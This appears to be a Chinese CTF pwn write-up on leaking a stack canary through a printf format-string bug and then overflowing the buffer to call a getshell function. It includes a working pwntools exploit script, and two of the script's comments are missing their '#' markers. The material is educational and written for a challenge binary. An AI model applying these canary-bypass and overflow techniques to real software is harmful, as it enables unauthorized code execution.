Pwn题——canary

canary

Pwn题——canary_第1张图片
嘤嘤,不仅NX打开了,栈里面还有canary,这是什么鬼。。。。。

Canary保护机制的原理,是在一个函数入口处从fs段内获取一个随机值,一般存到EBP - 0x4(32位)或RBP - 0x8(64位)的位置。如果攻击者利用栈溢出修改到了这个值,导致该值与存入的值不一致,__stack_chk_fail函数将抛出异常并退出程序。Canary最高字节一般是\x00,防止由于其他漏洞产生的Canary泄露

需要注意的是:canary一般最高位是\x00,64位程序的canary大小是8个字节,32位的是4个字节,canary的位置不一定就是与ebp存储的位置相邻,具体得看程序的汇编操作

泄漏canary:先通过覆盖Canary最后一个”\x00″字节,来防止0截断,进而通过printf等函数打印出4/8位的Canary,又或者通过格式化字符串泄漏输出canary,之后,计算好偏移,将Canary填入到相应的溢出位置,实现为所欲为的栈溢出
这是这次题目用到的方法,关于canary还有爆破啥的,还需要深入学习呢。。。。。

来看函数,64位ida看看
Pwn题——canary_第2张图片
Pwn题——canary_第3张图片
可以看到vuln函数里面有熟悉的栈溢出,还有传说中的格式化字符串漏洞
来科普一下关于格式化字符串漏洞
https://blog.csdn.net/qq_43394612/article/details/84900668
网上挺多介绍的,简单理解就是没有按要求填入format导致可以写入无数参数,可以写入任何内容到任何地址
好的,说到这里,铺垫就要结束了

这题的主要思路就是利用printf的字符串漏洞泄漏出canary的值,然后再次执行的时候输入正确的canary的值绕过canary,然后利用栈溢出,在ida里面可以看到题目本身就有getshell的函数,所以栈溢出使返回地址是getshell函数的地址就行啦~~~

# -*- coding:utf-8 -*-  
from pwn import *
context.binary='canary'   ##context.log_level = 'debug'
p=process('./canary')
get_shell=ELF("./canary").sym["getshell"]#getshell函数的地址
p.recvuntil("Hello Hacker!\n")

payload = "%21$p"#打印canary的值
p.sendline(payload)
Canary=int(p.recvuntil("00"),16)把canary的字符转化为16进制整型
log.info("Canary:"+hex(Canary))把canary写到日志里面
payload = "a"*104+p64(Canary)+"a"*8+p64(get_shell)
p.send(payload)
p.recv()
p.interactive()


还是要解释一下payload构造的,因为我就琢磨了很久,104填充长度是buf到canary直接的区段

Pwn题——canary_第4张图片
看一下这个原理图

Pwn题——canary_第5张图片

就不难理解了var_8其实就是canary的值
所以r上也就是返回地址是getshell的地址,由此得到payload

Pwn题——canary_第6张图片
got it~~~

你可能感兴趣的:(任务)